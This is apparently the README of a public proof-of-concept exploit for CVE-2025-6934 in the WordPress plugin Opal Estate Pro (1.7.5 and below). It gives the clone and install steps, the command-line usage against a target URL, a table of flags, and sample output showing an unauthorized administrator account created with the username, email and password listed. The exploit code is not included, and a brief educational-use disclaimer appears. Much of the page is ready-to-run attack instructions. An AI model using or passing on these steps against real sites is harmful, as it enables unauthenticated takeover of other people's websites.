rosemary1337/cve-2025-6934Automated PoC exploit for WordPress Opal Estate Pro that detects vulnerable versions, retrieves nonce, and creates unauthorized administrator accounts.
CVE-2025-6934 is a proof-of-concept (PoC) exploit targeting WordPress Plugin: Opal Estate Pro ≤ 1.7.5.
This exploit demonstrates unauthenticated administrator account creation.
Disclaimer: This PoC is for educational purposes only. Do not use on systems without permission.
git clone https://github.com/Rosemary1337/CVE-2025-6934.git
cd CVE-2025-6934
pip install -r requirements.txt
Requirements:
requests,beautifulsoup4,colorama
python3 main.py -u <TARGET_URL> -mail <EMAIL> -password <PASSWORD> -user <USERNAME>
python3 main.py -u http://site.com/ -mail [email protected] -password 3xplo1tI5Fun -user r1337
| Flag | Description | Required | Default |
|---|---|---|---|
-u, --url | Target site URL | Yes | - |
-mail, --newmail | Email for new admin | Yes | - |
-password, --newpassword | Password for new admin | Yes | - |
-user, --username | Username for new admin | No | administrator |
The console shows:
[•][✔][✖][i]Example:
[•] Starting Exploit...
[✔] Nonce Found: xyz123
[✔] Exploit Successful!
Username : r1337
Email : [email protected]
Password : 3xplo1tI5Fun
Role : administrator
I'm an active developer who enjoys building tools and sharing knowledge. You can reach me through:
